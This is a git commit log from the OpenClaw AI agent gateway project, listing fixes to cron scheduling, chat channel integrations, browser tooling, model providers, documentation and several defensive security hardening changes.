Co-authored-by: 王春跃 <80630709+openperf@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 22:53:40 -06:00
Tak Hoffman
8fdb2e64a7 fix: buffer upload path for feishu SDK (openclaw#10345) thanks @youngerstyle
Co-authored-by: zhiyi <7426274+youngerstyle@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 22:53:40 -06:00
石川 諒
04e3a66f90 fix(cron): pass agentId to runHeartbeatOnce for main-session jobs (#14140)
* fix(cron): pass agentId to runHeartbeatOnce for main-session jobs

Main-session cron jobs with agentId always ran the heartbeat under
the default agent, ignoring the job's agent binding. enqueueSystemEvent
correctly routed the system event to the bound agent's session, but
runHeartbeatOnce was called without agentId, so the heartbeat ran under
the default agent and never picked up the event.

Thread agentId from job.agentId through the CronServiceDeps type,
timer execution, and the gateway wrapper so heartbeat-runner uses the
correct agent.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* cron: add heartbeat agentId propagation regression test (#14140) (thanks @ishikawa-pro)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-11 22:22:29 -06:00
MarvinDontPanic
04f695e562 fix(cron): isolate schedule errors to prevent one bad job from breaking all jobs (#14385)
Previously, if one cron job had a malformed schedule expression (e.g. invalid cron syntax),
the error would propagate up and break the entire scheduler loop. This meant one misconfigured
job could prevent ALL cron jobs from running.

Changes:
- Wrap per-job schedule computation in try/catch in recomputeNextRuns()
- Track consecutive schedule errors via new scheduleErrorCount field
- Log warnings for schedule errors with job ID and name
- Auto-disable jobs after 3 consecutive schedule errors (with error-level log)
- Clear error count when schedule computation succeeds
- Continue processing other jobs even when one fails

This ensures the scheduler is resilient to individual job misconfigurations while still
providing visibility into problems through logging.

Co-authored-by: Marvin <numegilagent@gmail.com>
2026-02-11 22:17:07 -06:00
Tom Ron
ace5e33cee fix(cron): re-arm timer when onTimer fires during active job execution (#14233)
* fix(cron): re-arm timer when onTimer fires during active job execution

When a cron job takes longer than MAX_TIMER_DELAY_MS (60s), the clamped
timer fires while state.running is still true.  The early return in
onTimer() previously exited without re-arming the timer, leaving no
setTimeout scheduled.  This silently kills the cron scheduler until the
next gateway restart.

The fix calls armTimer(state) before the early return so the scheduler
continues ticking even when a job is in progress.

This is the likely root cause of recurring cron jobs silently skipping,
as reported in #12025.  One-shot (kind: 'at') jobs were unaffected
because they typically complete within a single timer cycle.

Includes a regression test that simulates a slow job exceeding the
timer clamp period and verifies the next occurrence still fires.

* fix: update tests for timer re-arm behavior

- Update existing regression test to expect timer re-arm with non-zero
  delay instead of no timer at all
- Simplify new test to directly verify state.timer is set after onTimer
  returns early due to running guard

* fix: use fixed 60s delay for re-arm to prevent zero-delay hot-loop

When the running guard re-arms the timer, use MAX_TIMER_DELAY_MS
directly instead of calling armTimer() which can compute a zero delay
for past-due jobs.  This prevents a tight spin while still keeping the
scheduler alive.

* style: add curly braces to satisfy eslint(curly) rule
2026-02-11 22:13:27 -06:00
Xinhua Gu
dd6047d998 fix(cron): prevent duplicate fires when multiple jobs trigger simultaneously (#14256)
The `computeNextRunAtMs` function used `nowSecondMs - 1` as the
reference time for croner's `nextRun()`, which caused it to return the
current second as a valid next-run time. When a job fired at e.g.
11:00:00.500, computing the next run still yielded 11:00:00.000 (same
second, already elapsed), causing the scheduler to immediately re-fire
the job in a tight loop (15-21x observed in the wild).

Fix: use `nowSecondMs` directly (no `-1` lookback) and change the
return guard from `>=` to `>` so next-run is always strictly after
the current second.

Fixes #14164
2026-02-11 22:04:17 -06:00
Rodrigo Uroz
b912d3992d (fix): handle Cloudflare 521 and transient 5xx errors gracefully (#13500)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a8347e95c5
Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Reviewed-by: @Takhoffman
2026-02-11 21:42:33 -06:00
Tak Hoffman
c28cbac512 CI: add PR size autolabel workflow (#14410) 2026-02-11 21:12:27 -06:00
Jake
631102e714 fix(agents): scope process/exec tools to sessionKey for isolation (#4887)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 5d30672e75
Co-authored-by: mcinteerj <3613653+mcinteerj@users.noreply.github.com>
Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Reviewed-by: @Takhoffman
2026-02-11 19:55:12 -06:00
Vignesh Natarajan
36e27ad561 Memory: make qmd search-mode flags compatible 2026-02-11 17:51:08 -08:00
Vignesh Natarajan
6d9d4d04ed Memory/QMD: add configurable search mode 2026-02-11 17:51:08 -08:00
cpojer
c2f9f2e1cd chore: Remove accidentally committed .md file. 2026-02-12 09:45:58 +09:00
cpojer
018ebb35ba chore: Clean up pre-commit hook. 2026-02-12 09:44:30 +09:00
cpojer
c2178e2522 chore: Cleanup useless CI job. 2026-02-12 09:37:45 +09:00
cpojer
9df89ceda2 chore: Update deps. 2026-02-12 09:15:12 +09:00
0xRain
1d2c5783fd fix(agents): enable tool call ID sanitization for Anthropic provider (#13830)
Co-authored-by: 0xRaini <0xRaini@users.noreply.github.com>
2026-02-12 08:42:24 +09:00
0xRain
43818e1583 fix(agents): re-run tool_use pairing repair after history truncation (#13926)
Co-authored-by: 0xRaini <0xRaini@users.noreply.github.com>
2026-02-12 08:42:05 +09:00
0xRain
bebba124e8 fix(ui): escape raw HTML in chat messages instead of rendering it (#13952)
Co-authored-by: 0xRaini <0xRaini@users.noreply.github.com>
2026-02-12 08:40:40 +09:00
0xRain
729181bd06 fix(agents): exclude rate limit errors from context overflow classification (#13747)
Co-authored-by: 0xRaini <rain@0xRaini.dev>
2026-02-12 08:40:09 +09:00
Vignesh Natarajan
2f1f82674a Memory/QMD: harden no-results parsing 2026-02-11 15:39:28 -08:00
Vignesh Natarajan
3d343932cf Memory/QMD: treat plain-text no-results as empty 2026-02-11 15:39:28 -08:00
buddyh
4baa43384a fix(media): guard local media reads + accept all path types in MEDIA directive 2026-02-11 15:01:18 -08:00
ENCHIGO
029b77c85b onboard: support custom provider in non-interactive flow (#14223)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 5b98d6514e
Co-authored-by: ENCHIGO <38551565+ENCHIGO@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-11 14:48:45 -05:00
Shadow
c8d9733e41 Changelog: add #13262 entry 2026-02-11 13:27:05 -06:00
Claude Code
a67752e6be fix(discord): use partial mock for @buape/carbon in slash test
Replace the full manual mock with importOriginal spread so new SDK
exports are available automatically. Only ChannelType, MessageType,
and Client are overridden — the rest come from the real module.

Prevents CI breakage when @buape/carbon adds exports (e.g. the
recent StringSelectMenu failure that blocked unrelated PRs).

Closes #13244
2026-02-11 13:10:37 -06:00
Gustavo Madeira Santana
940ce424c8 chore: make review mode switching idempotent 2026-02-11 14:09:16 -05:00
Kyle Tse
4200782a5d fix(heartbeat): honor heartbeat.model config for heartbeat turns (#14103)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f46080b0ad
Co-authored-by: shtse8 <8020099+shtse8@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-11 14:00:40 -05:00
Gustavo Madeira Santana
72fbfaa755 chore: making PR review chores deterministic + less token hungry 2026-02-11 13:21:00 -05:00
0xRain
93411b74a0 fix(cli): exit with non-zero code when configure/agents-add wizards are cancelled (#14156)
* fix(cli): exit with non-zero code when configure/agents-add wizards are cancelled

Follow-up to the onboard cancel fix. The configure wizard and
agents add wizard also caught WizardCancelledError and exited with
code 0, which signals success to callers. Change to exit(1) for
consistency — user cancellation is not a successful completion.

This ensures scripts that chain these commands with set -e will
correctly stop when the user cancels.

* fix(cli): make wizard cancellations exit non-zero (#14156) (thanks @0xRaini)

---------

Co-authored-by: Rain <rain@Rains-MBA-M4.local>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-11 13:07:30 -05:00
Seb Slight
6758b6bfe4 docs(channels): modernize imessage docs page (#14213) 2026-02-11 12:58:02 -05:00
Dario Zhang
e85bbe01f2 fix: report subagent timeout as 'timed out' instead of 'completed successfully' (#13996)
* fix: report subagent timeout as 'timed out' instead of 'completed successfully'

* fix: propagate subagent timeout status across agent.wait (#13996) (thanks @dario-github)

---------

Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-11 12:55:30 -05:00
Seb Slight
2c6569a488 docs(channels): modernize slack docs page (#14205) 2026-02-11 12:49:10 -05:00
0xRain
6d723c9f8a fix(agents): honor heartbeat.model override instead of session model (#14181)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f19b789057
Co-authored-by: 0xRaini <190923101+0xRaini@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-11 12:46:51 -05:00
Seb Slight
8c963dc5a6 docs(channels): modernize whatsapp docs page (#14202) 2026-02-11 12:31:56 -05:00
Shadow
e95f41b5df Discord: honor explicit thread type 2026-02-11 11:23:19 -06:00
Rain
9e92fc8fa1 fix(discord): default standalone threads to public type (#14147)
When creating a Discord thread without a messageId (standalone thread),
the Discord API defaults to type 12 (private). Most users expect public.

- Default standalone non-forum threads to ChannelType.PublicThread (11)
- Add optional type field to DiscordThreadCreate for explicit control

Closes #14147
2026-02-11 11:23:19 -06:00
Rain
42f7538320 fix(discord): default standalone threads to public type (#14147)
When creating a Discord thread without a messageId, the API defaults
to type 12 (private thread) which is unexpected. This adds an explicit
type: PublicThread (11) for standalone thread creation in non-forum
channels, matching user expectations.

Closes #14147
2026-02-11 11:23:19 -06:00
Seb Slight
b90610c099 docs(nav): move grammy page to technical reference (#14198) 2026-02-11 12:19:44 -05:00
Seb Slight
6bee638648 docs(channels): modernize discord docs page (#14190) 2026-02-11 12:12:31 -05:00
Shadow
c4018a9c57 PI: assign landpr to self 2026-02-11 11:12:04 -06:00
Seb Slight
a98d7c26df docs(channels): fix telegram card icon (#14193) 2026-02-11 12:10:52 -05:00
Seb Slight
880f92c9e4 docs(channels): modernize telegram docs page (#14168) 2026-02-11 11:58:06 -05:00
J young Lee
2aa9570465 fix(slack): detect control commands when message starts with @mention (#14142)
Merged via /review-pr-v2 -> /prepare-pr-v2 -> /merge-pr-v2.

Prepared head SHA: cb0b4f6a3b
Co-authored-by: beefiker <55247450+beefiker@users.noreply.github.com>
Co-authored-by: gumadeiras <gumadeiras@gmail.com>
Reviewed-by: @gumadeiras
2026-02-11 11:41:48 -05:00
Kyle Tse
50a60b8be6 fix: use configured base URL for Ollama model discovery (#14131)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 2292d2de6d
Co-authored-by: shtse8 <8020099+shtse8@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-11 10:51:59 -05:00
Seb Slight
3ed06c6f36 docs: modernize gateway configuration page (Phase 1) (#14111)
* docs(configuration): split into overview + full reference with Mintlify components

* docs(configuration): use tooltip for JSON5 format note

* docs(configuration): fix Accordion closing tags inside list contexts

* docs(configuration): expand intro to reflect full config surface

* docs(configuration): trim intro to three concise bullets

* docs(configuration-examples): revert all branch changes

* docs(configuration): improve hot-reload section with tabs and accordion

* docs(configuration): uncramp hot-reload — subheadings, bullet list, warning

* docs(configuration): restore hot-apply vs restart table

* docs(configuration): fix hot-reload table against codebase

* docs: add configuration-reference.md — full field-by-field reference

* docs(gateway): refresh runbook and align config reference

* docs: include pending docs updates and install graphic
2026-02-11 10:44:34 -05:00
Seb Slight
4625da476a docs(skills): update mintlify skill to reference docs/ directory (#14125) 2026-02-11 09:46:52 -05:00
Seb Slight
f093ea1ed6 chore: update AGENTS.md and add mintlify skill (#14123) 2026-02-11 09:41:46 -05:00
Sebastian
a1a61f35df chore(irc): sync plugin version to 2026.2.10 2026-02-11 08:38:33 -05:00
Sebastian
f32214ea27 fix(cli): drop logs --localTime alias noise 2026-02-11 08:35:49 -05:00
constansino
66ca5746ce fix(config): avoid redacting maxTokens-like fields (#14006)
* fix(config): avoid redacting maxTokens-like fields

* fix(config): finalize redaction prep items (#14006) (thanks @constansino)

---------

Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-11 08:32:00 -05:00
Peter Lee
851fcb2617 feat: Add --localTime option to logs command for local timezone display (#13818)
* feat: add --localTime options to make logs to show time with local time zone

fix #12447

* fix: prep logs local-time option and docs (#13818) (thanks @xialonglee)

---------

Co-authored-by: xialonglee <li.xialong@xydigit.com>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-11 08:24:08 -05:00
Sk Akram
620cf381ff fix: don't lowercase Slack channel IDs (#14055) 2026-02-11 20:53:58 +09:00
Peter Steinberger
92702af7a2 fix(plugins): ignore install scripts during plugin/hook install 2026-02-11 12:04:30 +01:00
Peter Steinberger
cfd112952e fix(gateway): default-deny missing connect scopes 2026-02-11 12:04:30 +01:00
Rain
27453f5a31 fix(web-search): handle xAI Responses API format in Grok provider
The xAI /v1/responses API returns content in a structured format with
typed output blocks (type: 'message') containing typed content blocks
(type: 'output_text') and url_citation annotations. The previous code
only checked output[0].content[0].text without filtering by type,
which could miss content in responses with multiple output entries.

Changes:
- Update GrokSearchResponse type to include annotations on content blocks
- Filter output blocks by type='message' and content by type='output_text'
- Extract url_citation annotations as fallback citations when top-level
  citations array is empty
- Deduplicate annotation-derived citation URLs
- Update tests for the new structured return type

Closes #13520
2026-02-11 11:59:07 +01:00
ryan-crabbe
a36b9be245 Feat/litellm provider (#12823)
* feat: add LiteLLM provider types, env var, credentials, and auth choice

Add litellm-api-key auth choice, LITELLM_API_KEY env var mapping,
setLitellmApiKey() credential storage, and LITELLM_DEFAULT_MODEL_REF.

* feat: add LiteLLM onboarding handler and provider config

Add applyLitellmProviderConfig which properly registers
models.providers.litellm with baseUrl, api type, and model definitions.
This fixes the critical bug from PR #6488 where the provider entry was
never created, causing model resolution to fail at runtime.

* docs: add LiteLLM provider documentation

Add setup guide covering onboarding, manual config, virtual keys,
model routing, and usage tracking. Link from provider index.

* docs: add LiteLLM to sidebar navigation in docs.json

Add providers/litellm to both English and Chinese provider page lists
so the docs page appears in the sidebar navigation.

* test: add LiteLLM non-interactive onboarding test

Wire up litellmApiKey flag inference and auth-choice handler for the
non-interactive onboarding path, and add an integration test covering
profile, model default, and credential storage.

* fix: register --litellm-api-key CLI flag and add preferred provider mapping

Wire up the missing Commander CLI option, action handler mapping, and
help text for --litellm-api-key. Add litellm-api-key to the preferred
provider map for consistency with other providers.

* fix: remove zh-CN sidebar entry for litellm (no localized page yet)

* style: format buildLitellmModelDefinition return type

* fix(onboarding): harden LiteLLM provider setup (#12823)

* refactor(onboarding): keep auth-choice provider dispatcher under size limit

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-11 11:46:56 +01:00
Peter Steinberger
5741b6cb3f docs: start 2026.2.10 changelog section 2026-02-11 11:27:58 +01:00
Peter Steinberger
1872d0c592 chore: bump version to 2026.2.10 2026-02-11 11:27:23 +01:00
andreesg
fb84e18bc3 docs: remove outdated pricing information
- Remove specific machine type (CX22) and pricing
- Hetzner pricing and server types change frequently
- Keep focus on technical approach rather than costs
2026-02-11 10:50:07 +01:00
andreesg
75f5da78f0 docs: add Terraform IaC approach to Hetzner guide
- Add Infrastructure as Code section to Hetzner installation docs
- Links to community-maintained Terraform repositories
- Provides alternative for users preferring IaC workflows
- Includes cost estimate and feature overview

Related: Discussion #12532
2026-02-11 10:50:07 +01:00
Marcus Castro
841dbeee0a fix(ui): coerce form values to schema types before config.set (#13468)
Co-authored-by: Gustavo Madeira Santana <gumadeiras@users.noreply.github.com>
2026-02-11 01:25:07 -05:00
Gustavo Madeira Santana
78eca155ac chore: make merge PR comment mandatory + skill name fix 2026-02-11 00:45:54 -05:00
the sun gif man
aade133978 🤖 memory-lancedb: avoid plugin-sdk enum helper in local TypeBox schema (#13897) 2026-02-10 21:28:32 -08:00
the sun gif man
80b56cabc2 🤖 macos: force session preview submenu repaint after async load (#13890) 2026-02-10 21:11:04 -08:00
Rodrigo Uroz
7f1712c1ba (fix): enforce embedding model token limit to prevent overflow (#13455)
* fix: enforce embedding model token limit to prevent 8192 overflow

- Replace EMBEDDING_APPROX_CHARS_PER_TOKEN=1 with UTF-8 byte length
  estimation (safe upper bound for tokenizer output)
- Add EMBEDDING_MODEL_MAX_TOKENS=8192 hard cap
- Add splitChunkToTokenLimit() that binary-searches for the largest
  safe split point, with surrogate pair handling
- Add enforceChunkTokenLimit() wrapper called in indexFile() after
  chunkMarkdown(), before any embedding API call
- Fixes: session files with large JSONL entries could produce chunks
  exceeding text-embedding-3-small's 8192 token limit

Tests: 2 new colocated tests in manager.embedding-token-limit.test.ts
- Verifies oversized ASCII chunks are split to <=8192 bytes each
- Verifies multibyte (emoji) content batching respects byte limits

* fix: make embedding token limit provider-aware

- Add optional maxInputTokens to EmbeddingProvider interface
- Each provider (openai, gemini, voyage) reports its own limit
- Known-limits map as fallback: openai 8192, gemini 2048, voyage 32K
- Resolution: provider field > known map > default 8192
- Backward compatible: local/llama uses fallback

* fix: enforce embedding input size limits (#13455) (thanks @rodrigouroz)

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-10 20:10:17 -06:00
Tak Hoffman
c95b3783ef Changelog: note gateway thinking/tool WS streaming (#10568) (thanks @nk1tz) 2026-02-10 19:30:20 -06:00
Nate
2b02e8a7a8 feat(gateway): stream thinking events and decouple tool events from verbose level (#10568) 2026-02-10 19:17:21 -06:00
Tak Hoffman
d2c2f4185b Heartbeat: inject cron-style current time into prompts (#13733)
* Heartbeat: inject cron-style current time into prompts

* Tests: fix type for web heartbeat timestamp test

* Infra: inline heartbeat current-time injection
2026-02-10 18:58:45 -06:00
Gustavo Madeira Santana
a853ded782 fix(pairing): use actual code in pairing approval text 2026-02-10 19:48:02 -05:00
0xRain
74273d62d0 fix(pairing): show actual code in approval command instead of placeholder (#13723)
* fix(pairing): show actual code in approval command instead of placeholder

The pairing reply shown to new users included the approval command with
a literal '<code>' placeholder. Users had to manually copy the code
from one line and substitute it into the command.

Now shows the ready-to-copy command with the real pairing code:

Before: openclaw pairing approve telegram <code>
After:  openclaw pairing approve telegram abc123

Fixed in both the shared pairing message builder and the Telegram
inline pairing reply.

* test(pairing): update test to expect actual code instead of placeholder

---------

Co-authored-by: Echo Ito <echoito@MacBook-Air.local>
2026-02-10 19:45:16 -05:00
Omair Afzal
88428260ce fix(web_search): remove unsupported include param from Grok API calls (#12910) (#12945)
xAI's /v1/responses endpoint does not support the 'include' parameter,
returning 400 'Argument not supported: include'. Inline citations are
returned automatically when available — no explicit request needed.

Closes #12910

Co-authored-by: Luna AI <luna@coredirection.ai>
2026-02-10 18:27:35 -06:00
Bill Chirico
ca629296c6 feat(hooks): add agentId support to webhook mappings (#13672)
* feat(hooks): add agentId support to webhook mappings

Allow webhook mappings to route hook runs to a specific agent via
the new `agentId` field. This enables lightweight agents with minimal
bootstrap files to handle webhooks, reducing token cost per hook run.

The agentId is threaded through:
- HookMappingConfig (config type + zod schema)
- HookMappingResolved + HookAction (mapping types)
- normalizeHookMapping + buildActionFromMapping (mapping logic)
- mergeAction (transform override support)
- HookAgentPayload + normalizeAgentPayload (direct /hooks/agent endpoint)
- dispatchAgentHook → CronJob.agentId (server dispatch)

The existing runCronIsolatedAgentTurn already supports agentId on
CronJob — this change simply wires it through from webhook mappings.

Usage in config:
  hooks.mappings[].agentId = "my-agent"

Usage via POST /hooks/agent:
  { "message": "...", "agentId": "my-agent" }

Includes tests for mapping passthrough and payload normalization.
Includes doc updates for webhook.md.

* fix(hooks): enforce webhook agent routing policy + docs/changelog updates (#13672) (thanks @BillChirico)

* fix(hooks): harden explicit agent allowlist semantics (#13672) (thanks @BillChirico)

---------

Co-authored-by: Pip <pip@openclaw.ai>
Co-authored-by: Gustavo Madeira Santana <gumadeiras@gmail.com>
2026-02-10 19:23:58 -05:00
Marcus Castro
45488e4ec9 fix: remap session JSONL chunk line numbers to original source positions (#12102)
* fix: remap session JSONL chunk line numbers to original source positions

buildSessionEntry() flattens JSONL messages into plain text before
chunkMarkdown() assigns line numbers. The stored startLine/endLine
values therefore reference positions in the flattened text, not the
original JSONL file.

- Add lineMap to SessionFileEntry tracking which JSONL line each
  extracted message came from
- Add remapChunkLines() to translate chunk positions back to original
  JSONL lines after chunking
- Guard remap with source === "sessions" to prevent misapplication
- Include lineMap in content hash so existing sessions get re-indexed

Fixes #12044

* memory: dedupe session JSONL parsing

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-10 18:09:24 -06:00
Onur
424d2dddf5 fix: prevent act:evaluate hangs from getting browser tool stuck/killed (#13498)
* fix(browser): prevent permanent timeout after stuck evaluate

Thread AbortSignal from client-fetch through dispatcher to Playwright
operations. When a timeout fires, force-disconnect the Playwright CDP
connection to unblock the serialized command queue, allowing the next
call to reconnect transparently.

Key changes:
- client-fetch.ts: proper AbortController with signal propagation
- pw-session.ts: new forceDisconnectPlaywrightForTarget()
- pw-tools-core.interactions.ts: accept signal, align inner timeout
  to outer-500ms, inject in-browser Promise.race for async evaluates
- routes/dispatcher.ts + types.ts: propagate signal through dispatch
- server.ts + bridge-server.ts: Express middleware creates AbortSignal
  from request lifecycle
- client-actions-core.ts: add timeoutMs to evaluate type

Fixes #10994

* fix(browser): v2 - force-disconnect via Connection.close() instead of browser.close()

When page.evaluate() is stuck on a hung CDP transport, browser.close() also
hangs because it tries to send a close command through the same stuck pipe.

v2 fix: forceDisconnectPlaywrightForTarget now directly calls Playwright's
internal Connection.close() which locally rejects all pending callbacks and
emits 'disconnected' without touching the network. This instantly unblocks
all stuck Playwright operations.

closePlaywrightBrowserConnection (clean shutdown) now also has a 3s timeout
fallback that drops to forceDropConnection if browser.close() hangs.

Fixes permanent browser timeout after stuck evaluate.

* fix(browser): v3 - fire-and-forget browser.close() instead of Connection.close()

v2's forceDropConnection called browser._connection.close() which corrupts
the entire Playwright instance because Connection is shared across all
objects (BrowserType, Browser, Page, etc.). This prevented reconnection
with cascading 'connectOverCDP: Force-disconnected' errors.

v3 fix: forceDisconnectPlaywrightForTarget now:
1. Nulls cached connection immediately
2. Fire-and-forgets browser.close() (doesn't await — it may hang)
3. Next connectBrowser() creates a fresh connectOverCDP WebSocket

Each connectOverCDP creates an independent WebSocket to the CDP endpoint,
so the new connection is unaffected by the old one's pending close.
The old browser.close() eventually resolves when the in-browser evaluate
timeout fires, or the old connection gets GC'd.

* fix(browser): v4 - clear connecting state and remove stale disconnect listeners

The reconnect was failing because:
1. forceDisconnectPlaywrightForTarget nulled cached but not connecting,
   so subsequent calls could await a stale promise
2. The old browser's 'disconnected' event handler raced with new
   connections, nulling the fresh cached reference

Fix: null both cached and connecting, and removeAllListeners on the
old browser before fire-and-forget close.

* fix(browser): v5 - use raw CDP Runtime.terminateExecution to kill stuck evaluate

When forceDisconnectPlaywrightForTarget fires, open a raw WebSocket
to the stuck page's CDP endpoint and send Runtime.terminateExecution.
This kills running JS without navigating away or crashing the page.
Also clear connecting state and remove stale disconnect listeners.

* fix(browser): abort cancels stuck evaluate

* Browser: always cleanup evaluate abort listener

* Chore: remove Playwright debug scripts

* Docs: add CDP evaluate refactor plan

* Browser: refactor Playwright force-disconnect

* Browser: abort stops evaluate promptly

* Node host: extract withTimeout helper

* Browser: remove disconnected listener safely

* Changelog: note act:evaluate hang fix

---------

Co-authored-by: Bob <bob@dutifulbob.com>
2026-02-11 07:54:48 +08:00
Riccardo Giorato
be6de9bb75 Update Together default model to together/moonshotai/Kimi-K2.5 (#13324) 2026-02-11 08:39:15 +09:00
Vignesh
fa906b26ad feat: IRC — add first-class channel support
Adds IRC as a first-class channel with core config surfaces (schema/hints/dock), plugin auto-enable detection, routing/policy alignment, and docs/tests.

Co-authored-by: Vignesh <vigneshnatarajan92@gmail.com>
2026-02-10 17:33:57 -06:00
Sebastian
90f58333e9 test(docker): make bash 3.2 compatibility check portable 2026-02-10 18:04:48 -05:00
Daniel Olshansky
31f616d45b feat: ClawDock - shell docker helpers for OpenClaw development (#12817)
Discussion: https://github.com/openclaw/openclaw/discussions/13528

## Checklist

- [x] **Mark as AI-assisted in the PR title or description** - Implemented by 🤖, reviewed by 👨‍💻 
- [x] **Note the degree of testing** - fully tested and I use it myself
- [x] **Include prompts or session logs if possible (super helpful!)** - I can try doing a "resume" on a few sessions, but don't think it'll provide value. Lmk if this is a blocker.
- [x] **Confirm you understand what the code does** - It's simple :)

## Summary of changes

- **ClawDock** - Shell helpers replace verbose `docker-compose` commands with simple `clawdock-*` shortcuts
- **Zero-config setup** - First run auto-detects the OpenClaw project directory from common paths and saves the config for future use
- **No extra dependencies** - Just bash
- **Built-in auth & device pairing helpers** - `clawdock-fix-token`, `clawdock-dashboard`, etc to handle gateay setup, streamline web UI, etc...
- **Updated Docker docs** - Installation docs now include the optional ClawDock helper setup for users who want simplified container management

## Example Usage

```bash
$ clawdock-help

🦞 ClawDock - Docker Helpers for OpenClaw

 Basic Operations
  clawdock-start       Start the gateway
  clawdock-stop        Stop the gateway
  clawdock-restart     Restart the gateway
  clawdock-status      Check container status
  clawdock-logs        View live logs (follows)

🐚 Container Access
  clawdock-shell       Shell into container (openclaw alias ready)
  clawdock-cli         Run CLI commands (e.g., clawdock-cli status)
  clawdock-exec <cmd>  Execute command in gateway container

🌐 Web UI & Devices
  clawdock-dashboard   Open web UI in browser (auto-guides you)
  clawdock-devices     List device pairings (auto-guides you)
  clawdock-approve <id> Approve device pairing (with examples)

⚙️  Setup & Configuration
  clawdock-fix-token   Configure gateway token (run once)

🔧 Maintenance
  clawdock-rebuild     Rebuild Docker image
  clawdock-clean       ⚠️  Remove containers & volumes (nuclear)

🛠️  Utilities
  clawdock-health      Run health check
  clawdock-token       Show gateway auth token
  clawdock-cd          Jump to openclaw project directory
  clawdock-config      Open config directory (~/.openclaw)
  clawdock-workspace   Open workspace directory

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🚀 First Time Setup
  1. clawdock-start          # Start the gateway
  2. clawdock-fix-token      # Configure token
  3. clawdock-dashboard      # Open web UI
  4. clawdock-devices        # If pairing needed
  5. clawdock-approve <id>   # Approve pairing

💬 WhatsApp Setup
  clawdock-shell
    > openclaw channels login --channel whatsapp
    > openclaw status

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

💡 All commands guide you through next steps!
📚 Docs: https://docs.openclaw.ai
```\n\nCo-authored-by: Gustavo Madeira Santana <gumadeiras@gmail.com>
2026-02-10 16:04:41 -05:00
Gustavo Madeira Santana
2dcaaa4b61 chore: add format:fix to AGENTS 2026-02-10 15:46:03 -05:00
Gustavo Madeira Santana
a6187b568c chore: add missing CHANGELOG entry 2026-02-10 15:12:37 -05:00
Gustavo Madeira Santana
c4d3800c29 fix: resolve message tool lint error (#13453) (thanks @liebertar) 2026-02-10 15:09:58 -05:00
Cklee
22458f57f2 fix(agents): strip [Historical context: ...] and tool call text from streaming path (#13453)
- Add [Historical context: ...] marker pattern to stripDowngradedToolCallText
- Apply stripDowngradedToolCallText in emitBlockChunk streaming path
- Previously only stripBlockTags ran during streaming, leaking [Tool Call: ...] markers to users
- Add 7 test cases for the new pattern stripping
2026-02-10 15:04:52 -05:00
meaadore1221-afk
67d25c6533 fix: strip reasoning tags from messaging tool text to prevent <think> leakage (#11053)
Co-authored-by: MEA <mea@MEAdeMac-mini.local>
2026-02-10 14:48:17 -05:00
williamtwomey
5fab11198d Fix matrix media attachments (#12967) thanks @williamtwomey
Co-authored-by: Gustavo Madeira Santana @gumadeiras
2026-02-10 13:18:47 -05:00
Shadow
96c46ed612 Docs: restore maintainers in contributing 2026-02-10 10:33:32 -06:00
Shadow
71fd054711 Revert "fix(credits): deduplicate contributors by GitHub username and display name"
This reverts commit d2f5d45f08.
2026-02-10 10:25:51 -06:00
Shadow
614befd15d Revert "credits: categorize direct changes, exclude bots, fix MDX (#13322)"
This reverts commit 8666d9f837.
2026-02-10 10:25:48 -06:00
Shadow
cfd1fa4bd2 Revert "CI: extend stale timelines to be contributor-friendly (#13209)"
This reverts commit 656a467518.
2026-02-10 10:24:28 -06:00
Sebastian
8933010e84 docs(env): clarify .env precedence and config token note 2026-02-10 10:18:36 -05:00
Omair Afzal
6ac56baf8e docs: clarify which workspace files are injected into context window (#12937)
* docs: clarify which workspace files are injected into context window (#12909)

The system prompt docs listed bootstrap files but omitted MEMORY.md,
which IS injected when present. This led users to assume memory files
are on-demand only and not consuming context tokens.

Changes:
- Add MEMORY.md to the bootstrap file list
- Note that all listed files consume tokens on every turn
- Clarify that memory/*.md daily files are NOT injected (on-demand only)
- Document sub-agent bootstrap filtering (AGENTS.md + TOOLS.md only)

Closes #12909

* docs: mention memory.md alternate filename in bootstrap list

Address review feedback: the runtime also injects lowercase memory.md
(DEFAULT_MEMORY_ALT_FILENAME) when present.

* docs: align memory bootstrap docs (#12937) (thanks @omair445)

---------

Co-authored-by: Luna AI <luna@coredirection.ai>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-10 10:06:23 -05:00
Mateusz Michalik
6731c6a1cd fix(docker): support Bash 3.2 in docker-setup.sh (#9441)
